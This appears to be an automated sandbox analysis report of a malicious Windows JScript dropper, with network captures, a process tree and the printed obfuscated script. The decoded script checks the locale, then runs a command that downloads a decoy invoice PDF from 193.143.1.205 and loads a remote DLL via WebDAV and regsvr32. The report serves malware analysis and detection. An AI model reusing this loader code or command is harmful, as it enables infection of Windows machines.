Jan 11, 2025 03:22:52.633645058 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 11, 2025 03:22:52.633661032 CET	1236	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 11, 2025 03:22:52.633678913 CET	776	IN	Data Raw: a6 84 86 2f 65 ee 47 02 e4 bf 9a 9f 04 08 5f 5c 3f 63 eb 7f 0c c0 fc 30 80 f9 14 08 83 7b f9 d5 2c bf d3 16 ea a1 f5 3f 6e 51 ff b3 1f 85 16 e9 47 44 d3 55 95 d3 f6 42 77 5a 3f 2a be e8 db 9b af b7 01 6c ce aa bd 04 bb 2b 7f 60 68 1b 43 3f 0e 62 Data Ascii: /eG_\?c0{,?nQGDUBwZ?*l+`hC?bC31t_PC={6H=17`\|d%4,hze?{l1@PB%hZ/[/Im4UQCcrW~&TZ.QcaRU_rWP5[t0Wi+3=^
Jan 11, 2025 03:22:52.633827925 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 11, 2025 03:22:52.638521910 CET	1236	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	6612	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:22:54.169692993 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:22:54.964735031 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:22:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:22:46
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\166452923276113028.js"
Imagebase:	0x7ff664b60000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:22:48
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll
Imagebase:	0x7ff65b520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:22:48
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:22:48
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:22:52
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	21:22:52
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff65b520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:22:53
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff777080000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:22:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:22:55
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	21:22:56
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2176 --field-trial-handle=1548,i,2332872694583072542,17004711791923653570,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function vsddai() {	vsddai() ➔ undefined
1	iblid = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var jszucld = this[upqfamyyy + mrdev + hrhkxag + dgbeivdar + kiqqgzwkt + uewdgl + ypzfug + wnjylr] ( this[ihvtgit + sjslyljh + byojcgj + hrhkxag + evzcmrwz + upqfamyyy + wnjylr][kagmxqoz + hrhkxag + kiqqgzwkt + mrdev + wnjylr + kiqqgzwkt + tgklfklv + bgulo + xqsild + kiqqgzwkt + byojcgj + wnjylr] ( ihvtgit + sjslyljh + byojcgj + hrhkxag + evzcmrwz + upqfamyyy + wnjylr + cgfps + sjslyljh + phgqzv + kiqqgzwkt + hvnzwk + hvnzwk ) [bgivwlwbn + kiqqgzwkt + rjigmtew + bgivwlwbn + kiqqgzwkt + mrdev + diiqxeou] ( dunkk + kibts + xqpqztw + hhvqotfp + nkcjab + kagmxqoz + yfrphabvi + bgivwlwbn + bgivwlwbn + xqpqztw + iyrguelp + otxizcb + nkcjab + yfrphabvi + sjslyljh + xqpqztw + bgivwlwbn + xknhix + kagmxqoz + bbdaxfvlq + ypzfug + wnjylr + hrhkxag + bbdaxfvlq + hvnzwk + cableif + fktzabko + mrdev + ypzfug + kiqqgzwkt + hvnzwk + xknhix + uewdgl + ypzfug + wnjylr + kiqqgzwkt + hrhkxag + ypzfug + mrdev + wnjylr + evzcmrwz + bbdaxfvlq + ypzfug + mrdev + hvnzwk + xknhix + eurtzu + bbdaxfvlq + byojcgj + mrdev + hvnzwk + kiqqgzwkt ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( eeykjn = 0 ; eeykjn < iblid[hvnzwk + kiqqgzwkt + ypzfug + rjigmtew + wnjylr + phgqzv] ; ++ eeykjn )
4	{
5	if ( jszucld == iblid[eeykjn] )
6	{
7	jszucld = true;
8	break ;
9	}
10	}
11	if ( jszucld !== true )
12	this[ihvtgit + sjslyljh + byojcgj + hrhkxag + evzcmrwz + upqfamyyy + wnjylr][wvunpzpa + rbxrqafy + evzcmrwz + wnjylr] ( );
13	this[ihvtgit + sjslyljh + byojcgj + hrhkxag + evzcmrwz + upqfamyyy + wnjylr][kagmxqoz + hrhkxag + kiqqgzwkt + mrdev + wnjylr + kiqqgzwkt + tgklfklv + bgulo + xqsild + kiqqgzwkt + byojcgj + wnjylr] ( ihvtgit + sjslyljh + byojcgj + hrhkxag + evzcmrwz + upqfamyyy + wnjylr + cgfps + sjslyljh + phgqzv + kiqqgzwkt + hvnzwk + hvnzwk ) [hrhkxag + rbxrqafy + ypzfug] ( byojcgj + tssxu + diiqxeou + cableif + zjapq + byojcgj + cableif + upqfamyyy + bbdaxfvlq + cdtkxcqtc + kiqqgzwkt + hrhkxag + dgbeivdar + phgqzv + kiqqgzwkt + hvnzwk + hvnzwk + cgfps + kiqqgzwkt + fpdbh + kiqqgzwkt + cableif + moqldkwc + kagmxqoz + bbdaxfvlq + tssxu + tssxu + mrdev + ypzfug + diiqxeou + cableif + ausbysw + uewdgl + ypzfug + ldqlnucp + bbdaxfvlq + wfeozemy + kiqqgzwkt + moqldkwc + ihvtgit + kiqqgzwkt + bgulo + bgivwlwbn + kiqqgzwkt + xmtyrlxv + rbxrqafy + kiqqgzwkt + dgbeivdar + wnjylr + cableif + moqldkwc + tgklfklv + rbxrqafy + wnjylr + yigstoh + evzcmrwz + hvnzwk + kiqqgzwkt + cableif + gjphrx + wnjylr + kiqqgzwkt + tssxu + upqfamyyy + gjphrx + xknhix + evzcmrwz + ypzfug + ldqlnucp + bbdaxfvlq + evzcmrwz + byojcgj + kiqqgzwkt + cgfps + upqfamyyy + diiqxeou + fgrxqx + cableif + phgqzv + wnjylr + wnjylr + upqfamyyy + cvxmq + zjapq + zjapq + skqik + budqif + tctrau + cgfps + skqik + ojfyg + tctrau + cgfps + skqik + cgfps + lochc + mwdnxtg + ljzvjril + zjapq + evzcmrwz + ypzfug + ldqlnucp + bbdaxfvlq + evzcmrwz + byojcgj + kiqqgzwkt + cgfps + upqfamyyy + phgqzv + upqfamyyy + ausbysw + fcawrsj + fcawrsj + dgbeivdar + wnjylr + mrdev + hrhkxag + wnjylr + cableif + gjphrx + wnjylr + kiqqgzwkt + tssxu + upqfamyyy + gjphrx + xknhix + evzcmrwz + ypzfug + ldqlnucp + bbdaxfvlq + evzcmrwz + byojcgj + kiqqgzwkt + cgfps + upqfamyyy + diiqxeou + fgrxqx + fcawrsj + fcawrsj + byojcgj + tssxu + diiqxeou + cableif + zjapq + byojcgj + cableif + ypzfug + kiqqgzwkt + wnjylr + cableif + rbxrqafy + dgbeivdar + kiqqgzwkt + cableif + xknhix + xknhix + skqik + budqif + tctrau + cgfps + skqik + ojfyg + tctrau + cgfps + skqik + cgfps + lochc + mwdnxtg + ljzvjril + hujhcf + gvztis + gvztis + gvztis + gvztis + xknhix + diiqxeou + mrdev + ldqlnucp + cdtkxcqtc + cdtkxcqtc + cdtkxcqtc + hrhkxag + bbdaxfvlq + bbdaxfvlq + wnjylr + xknhix + fcawrsj + fcawrsj + byojcgj + tssxu + diiqxeou + cableif + zjapq + byojcgj + cableif + hrhkxag + kiqqgzwkt + rjigmtew + dgbeivdar + ldqlnucp + hrhkxag + tctrau + lochc + cableif + zjapq + dgbeivdar + cableif + xknhix + xknhix + skqik + budqif + tctrau + cgfps + skqik + ojfyg + tctrau + cgfps + skqik + cgfps + lochc + mwdnxtg + ljzvjril + hujhcf + gvztis + gvztis + gvztis + gvztis + xknhix + diiqxeou + mrdev + ldqlnucp + cdtkxcqtc + cdtkxcqtc + cdtkxcqtc + hrhkxag + bbdaxfvlq + bbdaxfvlq + wnjylr + xknhix + skqik + ljzvjril + tctrau + qepawbn + gvztis + lochc + qepawbn + budqif + gvztis + tctrau + lochc + cgincm + ljzvjril + tctrau + cgfps + diiqxeou + hvnzwk + hvnzwk, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll",0,false) ➔ 0
14	}
15	upqfamyyy = "E";
16	upqfamyyy = "R";
17	upqfamyyy = "F";
18	upqfamyyy = "U";
19	upqfamyyy = "f";
20	upqfamyyy = "m";
21	upqfamyyy = "S";
22	upqfamyyy = "b";
23	upqfamyyy = "a";
24	upqfamyyy = "v";
25	upqfamyyy = "f";
26	upqfamyyy = "T";
27	upqfamyyy = "U";
28	upqfamyyy = "y";
29	upqfamyyy = "p";
30	upqfamyyy = "P";
31	upqfamyyy = "n";
32	upqfamyyy = "Z";
33	upqfamyyy = "p";
34	cableif = "t";
35	cableif = "T";
36	cableif = "e";
37	cableif = "c";
38	cableif = "U";
39	cableif = "v";
40	cableif = "T";
41	cableif = "n";
42	cableif = "o";
43	cableif = "R";
44	cableif = "a";
45	cableif = "a";
46	cableif = "k";
47	cableif = "R";
48	cableif = "V";
49	cableif = "z";
50	cableif = "H";
51	cableif = "w";
52	cableif = "m";
53	cableif = "z";
54	cableif = "I";
55	cableif = "S";
56	cableif = " ";
57	cgincm = "G";
58	cgincm = "Z";
59	cgincm = "a";
60	cgincm = "i";
61	cgincm = "q";
62	cgincm = "R";
63	cgincm = "P";
64	cgincm = "d";
65	cgincm = "d";
66	cgincm = "R";
67	cgincm = "C";
68	cgincm = "Z";
69	cgincm = "Q";
70	cgincm = "f";
71	cgincm = "R";
72	cgincm = "Y";
73	cgincm = "k";
74	cgincm = "E";
75	cgincm = "q";
76	cgincm = "P";
77	cgincm = "F";
78	cgincm = "e";
79	cgincm = "c";
80	cgincm = "l";
81	cgincm = "j";
82	cgincm = "o";
83	cgincm = "g";
84	cgincm = "g";
85	cgincm = "k";
86	cgincm = "H";
87	cgincm = "v";
88	cgincm = "e";
89	cgincm = "k";
90	cgincm = "U";
91	cgincm = "B";
92	cgincm = "q";
93	cgincm = "V";
94	cgincm = "w";
95	cgincm = "R";
96	cgincm = "J";
97	cgincm = "o";
98	cgincm = "t";
99	cgincm = "o";
100	cgincm = "C";
101	cgincm = "6";
102	tssxu = "p";
103	tssxu = "T";
104	tssxu = "N";
105	tssxu = "c";
106	tssxu = "j";
107	tssxu = "Z";
108	tssxu = "a";
109	tssxu = "u";
110	tssxu = "Z";
111	tssxu = "X";
112	tssxu = "u";
113	tssxu = "p";
114	tssxu = "b";
115	tssxu = "g";
116	tssxu = "m";
117	tssxu = "r";
118	tssxu = "y";
119	tssxu = "C";
120	tssxu = "m";
121	gjphrx = "V";
122	gjphrx = "M";
123	gjphrx = "y";
124	gjphrx = "g";
125	gjphrx = "a";
126	gjphrx = "r";
127	gjphrx = "r";
128	gjphrx = "T";
129	gjphrx = "G";
130	gjphrx = "a";
131	gjphrx = "q";
132	gjphrx = "T";
133	gjphrx = "D";
134	gjphrx = "n";
135	gjphrx = "g";
136	gjphrx = "B";
137	gjphrx = "k";
138	gjphrx = "k";
139	gjphrx = "f";
140	gjphrx = "B";
141	gjphrx = "o";
142	gjphrx = "O";
143	gjphrx = "l";
144	gjphrx = "L";
145	gjphrx = "Z";
146	gjphrx = "T";
147	gjphrx = "X";
148	gjphrx = "B";
149	gjphrx = "I";
150	gjphrx = "O";
151	gjphrx = "A";
152	gjphrx = "e";
153	gjphrx = "p";
154	gjphrx = "E";
155	gjphrx = "%";
156	wfeozemy = "z";
157	wfeozemy = "k";
158	wfeozemy = "k";
159	yfrphabvi = "Q";
160	yfrphabvi = "o";
161	yfrphabvi = "x";
162	yfrphabvi = "L";
163	yfrphabvi = "X";
164	yfrphabvi = "W";
165	yfrphabvi = "k";
166	yfrphabvi = "I";
167	yfrphabvi = "U";
168	cdtkxcqtc = "L";
169	cdtkxcqtc = "i";
170	cdtkxcqtc = "o";
171	cdtkxcqtc = "f";
172	cdtkxcqtc = "r";
173	cdtkxcqtc = "s";
174	cdtkxcqtc = "I";
175	cdtkxcqtc = "I";
176	cdtkxcqtc = "d";
177	cdtkxcqtc = "x";
178	cdtkxcqtc = "h";
179	cdtkxcqtc = "w";
180	uewdgl = "x";
181	uewdgl = "q";
182	uewdgl = "w";
183	uewdgl = "h";
184	uewdgl = "w";
185	uewdgl = "H";
186	uewdgl = "k";
187	uewdgl = "b";
188	uewdgl = "O";
189	uewdgl = "n";
190	uewdgl = "N";
191	uewdgl = "A";
192	uewdgl = "C";
193	uewdgl = "a";
194	uewdgl = "F";
195	uewdgl = "I";
196	zjapq = "B";
197	zjapq = "Y";
198	zjapq = "u";
199	zjapq = "x";
200	zjapq = "C";
201	zjapq = "t";
202	zjapq = "F";
203	zjapq = "W";
204	zjapq = "J";
205	zjapq = "d";
206	zjapq = "m";
207	zjapq = "R";
208	zjapq = "e";
209	zjapq = "V";
210	zjapq = "m";
211	zjapq = "z";
212	zjapq = "g";
213	zjapq = "A";
214	zjapq = "y";
215	zjapq = "J";
216	zjapq = "G";
217	zjapq = "d";
218	zjapq = "w";
219	zjapq = "D";
220	zjapq = "V";
221	zjapq = "A";
222	zjapq = "d";
223	zjapq = "P";
224	zjapq = "Q";
225	zjapq = "n";
226	zjapq = "Z";
227	zjapq = "t";
228	zjapq = "N";
229	zjapq = "u";
230	zjapq = "z";
231	zjapq = "d";
232	zjapq = "D";
233	zjapq = "y";
234	zjapq = "C";
235	zjapq = "N";
236	zjapq = "Q";
237	zjapq = "/";
238	fcawrsj = "W";
239	fcawrsj = "L";
240	fcawrsj = "F";
241	fcawrsj = "v";
242	fcawrsj = "Z";
243	fcawrsj = "v";
244	fcawrsj = "o";
245	fcawrsj = "q";
246	fcawrsj = "b";
247	fcawrsj = "O";
248	fcawrsj = "k";
249	fcawrsj = "j";
250	fcawrsj = "x";
251	fcawrsj = "u";
252	fcawrsj = "M";
253	fcawrsj = "R";
254	fcawrsj = "d";
255	fcawrsj = "a";
256	fcawrsj = "z";
257	fcawrsj = "d";
258	fcawrsj = "I";
259	fcawrsj = "&";
260	ypzfug = "w";
261	ypzfug = "O";
262	ypzfug = "m";
263	ypzfug = "r";
264	ypzfug = "F";
265	ypzfug = "s";
266	ypzfug = "i";
267	ypzfug = "Q";
268	ypzfug = "f";
269	ypzfug = "R";
270	ypzfug = "l";
271	ypzfug = "M";
272	ypzfug = "o";
273	ypzfug = "Y";
274	ypzfug = "i";
275	ypzfug = "g";
276	ypzfug = "Y";
277	ypzfug = "M";
278	ypzfug = "p";
279	ypzfug = "f";
280	ypzfug = "Z";
281	ypzfug = "c";
282	ypzfug = "T";
283	ypzfug = "o";
284	ypzfug = "G";
285	ypzfug = "n";
286	ypzfug = "g";
287	ypzfug = "P";
288	ypzfug = "K";
289	ypzfug = "c";
290	ypzfug = "W";
291	ypzfug = "i";
292	ypzfug = "S";
293	ypzfug = "h";
294	ypzfug = "Q";
295	ypzfug = "w";
296	ypzfug = "E";
297	ypzfug = "x";
298	ypzfug = "t";
299	ypzfug = "I";
300	ypzfug = "A";
301	ypzfug = "n";
302	ypzfug = "O";
303	ypzfug = "F";
304	ypzfug = "n";
305	xqsild = "l";
306	xqsild = "x";
307	xqsild = "P";
308	xqsild = "c";
309	xqsild = "a";
310	xqsild = "r";
311	xqsild = "C";
312	xqsild = "L";
313	xqsild = "o";
314	xqsild = "r";
315	xqsild = "R";
316	xqsild = "N";
317	xqsild = "m";
318	xqsild = "O";
319	xqsild = "j";
320	xqsild = "s";
321	xqsild = "d";
322	xqsild = "i";
323	xqsild = "A";
324	xqsild = "m";
325	xqsild = "a";
326	xqsild = "X";
327	xqsild = "K";
328	xqsild = "Q";
329	xqsild = "Q";
330	xqsild = "g";
331	xqsild = "v";
332	xqsild = "j";
333	fpdbh = "L";
334	fpdbh = "e";
335	fpdbh = "o";
336	fpdbh = "p";
337	fpdbh = "d";
338	fpdbh = "C";
339	fpdbh = "m";
340	fpdbh = "l";
341	fpdbh = "y";
342	fpdbh = "H";
343	fpdbh = "g";
344	fpdbh = "G";
345	fpdbh = "R";
346	fpdbh = "U";
347	fpdbh = "O";
348	fpdbh = "p";
349	fpdbh = "C";
350	fpdbh = "u";
351	fpdbh = "D";
352	fpdbh = "g";
353	fpdbh = "v";
354	fpdbh = "x";
355	fpdbh = "L";
356	fpdbh = "B";
357	fpdbh = "X";
358	fpdbh = "x";
359	ihvtgit = "O";
360	ihvtgit = "W";
361	eurtzu = "N";
362	eurtzu = "d";
363	eurtzu = "n";
364	eurtzu = "U";
365	eurtzu = "Q";
366	eurtzu = "j";
367	eurtzu = "u";
368	eurtzu = "M";
369	eurtzu = "N";
370	eurtzu = "D";
371	eurtzu = "X";
372	eurtzu = "y";
373	eurtzu = "x";
374	eurtzu = "W";
375	eurtzu = "q";
376	eurtzu = "I";
377	eurtzu = "p";
378	eurtzu = "z";
379	eurtzu = "h";
380	eurtzu = "S";
381	eurtzu = "n";
382	eurtzu = "t";
383	eurtzu = "v";
384	eurtzu = "j";
385	eurtzu = "x";
386	eurtzu = "C";
387	eurtzu = "E";
388	eurtzu = "w";
389	eurtzu = "s";
390	eurtzu = "P";
391	eurtzu = "j";
392	eurtzu = "z";
393	eurtzu = "E";
394	eurtzu = "R";
395	eurtzu = "L";
396	phgqzv = "t";
397	phgqzv = "F";
398	phgqzv = "F";
399	phgqzv = "s";
400	phgqzv = "a";
401	phgqzv = "s";
402	phgqzv = "e";
403	phgqzv = "H";
404	phgqzv = "K";
405	phgqzv = "n";
406	phgqzv = "O";
407	phgqzv = "P";
408	phgqzv = "o";
409	phgqzv = "W";
410	phgqzv = "B";
411	phgqzv = "s";
412	phgqzv = "t";
413	phgqzv = "e";
414	phgqzv = "y";
415	phgqzv = "h";
416	ldqlnucp = "M";
417	ldqlnucp = "z";
418	ldqlnucp = "l";
419	ldqlnucp = "Y";
420	ldqlnucp = "Y";
421	ldqlnucp = "D";
422	ldqlnucp = "w";
423	ldqlnucp = "Z";
424	ldqlnucp = "R";
425	ldqlnucp = "r";
426	ldqlnucp = "w";
427	ldqlnucp = "H";
428	ldqlnucp = "j";
429	ldqlnucp = "j";
430	ldqlnucp = "b";
431	ldqlnucp = "K";
432	ldqlnucp = "g";
433	ldqlnucp = "P";
434	ldqlnucp = "n";
435	ldqlnucp = "r";
436	ldqlnucp = "z";
437	ldqlnucp = "N";
438	ldqlnucp = "b";
439	ldqlnucp = "C";
440	ldqlnucp = "i";
441	ldqlnucp = "W";
442	ldqlnucp = "M";
443	ldqlnucp = "X";
444	ldqlnucp = "B";
445	ldqlnucp = "b";
446	ldqlnucp = "a";
447	ldqlnucp = "Y";
448	ldqlnucp = "J";
449	ldqlnucp = "W";
450	ldqlnucp = "X";
451	ldqlnucp = "x";
452	ldqlnucp = "Q";
453	ldqlnucp = "o";
454	ldqlnucp = "a";
455	ldqlnucp = "I";
456	ldqlnucp = "o";
457	ldqlnucp = "v";
458	mwdnxtg = "Z";
459	mwdnxtg = "P";
460	mwdnxtg = "F";
461	mwdnxtg = "B";
462	mwdnxtg = "g";
463	mwdnxtg = "A";
464	mwdnxtg = "p";
465	mwdnxtg = "P";
466	mwdnxtg = "Y";
467	mwdnxtg = "z";
468	mwdnxtg = "0";
469	fktzabko = "J";
470	fktzabko = "X";
471	fktzabko = "l";
472	fktzabko = "C";
473	fktzabko = "M";
474	fktzabko = "L";
475	fktzabko = "r";
476	fktzabko = "v";
477	fktzabko = "R";
478	fktzabko = "g";
479	fktzabko = "d";
480	fktzabko = "i";
481	fktzabko = "x";
482	fktzabko = "P";
483	bgivwlwbn = "O";
484	bgivwlwbn = "x";
485	bgivwlwbn = "l";
486	bgivwlwbn = "k";
487	bgivwlwbn = "G";
488	bgivwlwbn = "r";
489	bgivwlwbn = "T";
490	bgivwlwbn = "Q";
491	bgivwlwbn = "I";
492	bgivwlwbn = "n";
493	bgivwlwbn = "l";
494	bgivwlwbn = "n";
495	bgivwlwbn = "v";
496	bgivwlwbn = "k";
497	bgivwlwbn = "j";
498	bgivwlwbn = "V";
499	bgivwlwbn = "e";
500	bgivwlwbn = "Y";
501	bgivwlwbn = "e";
502	bgivwlwbn = "R";
503	xmtyrlxv = "y";
504	xmtyrlxv = "c";
505	xmtyrlxv = "D";
506	xmtyrlxv = "V";
507	xmtyrlxv = "y";
508	xmtyrlxv = "p";
509	xmtyrlxv = "F";
510	xmtyrlxv = "k";
511	xmtyrlxv = "J";
512	xmtyrlxv = "m";
513	xmtyrlxv = "f";
514	xmtyrlxv = "v";
515	xmtyrlxv = "U";
516	xmtyrlxv = "j";
517	xmtyrlxv = "M";
518	xmtyrlxv = "v";
519	xmtyrlxv = "J";
520	xmtyrlxv = "o";
521	xmtyrlxv = "y";
522	xmtyrlxv = "r";
523	xmtyrlxv = "t";
524	xmtyrlxv = "q";
525	sjslyljh = "Z";
526	sjslyljh = "V";
527	sjslyljh = "q";
528	sjslyljh = "l";
529	sjslyljh = "G";
530	sjslyljh = "H";
531	sjslyljh = "x";
532	sjslyljh = "V";
533	sjslyljh = "x";
534	sjslyljh = "B";
535	sjslyljh = "w";
536	sjslyljh = "S";
537	hvnzwk = "K";
538	hvnzwk = "u";
539	hvnzwk = "i";
540	hvnzwk = "D";
541	hvnzwk = "E";
542	hvnzwk = "K";
543	hvnzwk = "c";
544	hvnzwk = "T";
545	hvnzwk = "T";
546	hvnzwk = "l";
547	ljzvjril = "y";
548	ljzvjril = "X";
549	ljzvjril = "d";
550	ljzvjril = "H";
551	ljzvjril = "m";
552	ljzvjril = "X";
553	ljzvjril = "q";
554	ljzvjril = "A";
555	ljzvjril = "M";
556	ljzvjril = "B";
